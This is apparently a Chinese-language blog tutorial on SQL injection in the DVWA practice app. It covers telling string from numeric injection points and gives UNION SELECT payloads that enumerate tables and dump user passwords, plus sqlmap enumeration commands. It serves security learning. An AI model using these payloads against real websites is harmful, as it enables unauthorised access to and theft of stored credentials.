对于mysql来说,有三个很重要的表和一个数据库:
这三张表中:
table_name
, table_schema
column_name
,table_name
, table_schema
schema_name
注入点的地方:接受相关参数未经正确处理直接带入数据库进行查询操作。
我们对输入框进行输入,输入1时,发现没有问题,
然后尝试输入1’,发现报错了
这就是最初级的,毫无安全措施的版本,发现了注入点:因为我们发现我们输入的语句直接变成了在SQL语句中的报错,有两个相同的'
号,其实在这里我们就已经可以知道这是字符型注入了(初级)
注入点分为数值和字符,我们可以通过两个命令看看,
id=1 and 1=1和id=1 and 1=2
原理是这样的:
如果这个注入点是字符型的,那么当我输入1 and 1=2或者1 and 1=1的时候,在SQL语句中会自动变成
select * from user where id='1 and 1=2'
select * from user where id='1 and 1=1'
那么根据SQL语句的类型转换:
如果在一个数字上下文(例如,用于数字运算、比较或者作为函数的数值型参数)中使用一个字符串,MySQL会将这个字符串尽可能地转换为一个数字。它将从字符串的最左边开始,扫描到第一个无法识别为数字部分的字符为止。
这个语句会变成
select * from user where id='1'
它不会报错,所以是字符型注入
如果这个注入点是数值型的话,那么当我输入1 and 1=2或者1 and 1=1的时候,在SQL语句中会自动变成
select * from user where id=1 and 1=2
select * from user where id=1 and 1=1
可以看出前者会报错(报错通常也不会回显),后者不会
输入id=1 and 1=2
字段数的获取,目的是为了弄清楚这个表中有几个字段,如果后面需要用到union select
就很需要先了解这个前提,通过以下方式(#号时为了注释后面的):
1' order by 2#
1' order by 3#
1' order by 4#
来查看有多少字段
联合查询直接在网上找教程就好了,这里直接给code
1' union select database(),version()
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'
1' union select column_name,2 from information_schema.columns where table_name='users'
1' union select password,2 from users
所以我们在初级部分直接使用就好了,记得后面添加注释符
中级的是直接换成了按键选取
我们要意识到,按键只是表面,它的深层次内容就是:POST请求,一切的请求都是网络请求。为什么要说这个呢?我想表达的是,我们可以直接通过抓包,来改变我们想要的请求。
可以使用的方法挺多的,不过网上能够找到的基本都是使用Burpsuite来抓包,我们也可以这样。不过也可以用火狐的hackbar
插件(不过说实话Burpsuite也很方便,没必要改)
先使用抓包工具抓包,看看报文POST请求的格式,这里直接F12
提交Payload后发现报错
发现原来不是字符型注入,原来是数值型注入,后面的步骤就和初级是一样的了,Payload为:
1 union select password,2 from users #
这道题给我的感悟:还是要把检测字符型注入还是数值型注入放在第一位。
打开高级的题目
发现它是用了单独另开一个界面的方法,这样通过Burpsuite抓包返回的就是这个小窗口了。我们尝试注入一下,发现1 and 1=2
和1 and 1=1
都不报错,可以看出是字符型注入
使用上面整理的命令直接可以得到结果
sqlmap -u "这里是包含着你的注入点的url" --cookie "如果中途返回302重定向就代表你需要cookie"
sqlmap -u "你的url" --dbs
sqlmap -u "你的url" -D <数据库名> --tables
sqlmap -u "你的url" -D <数据库名> -T --columns
https://blog.csdn.net/m0_51756263/article/details/125692951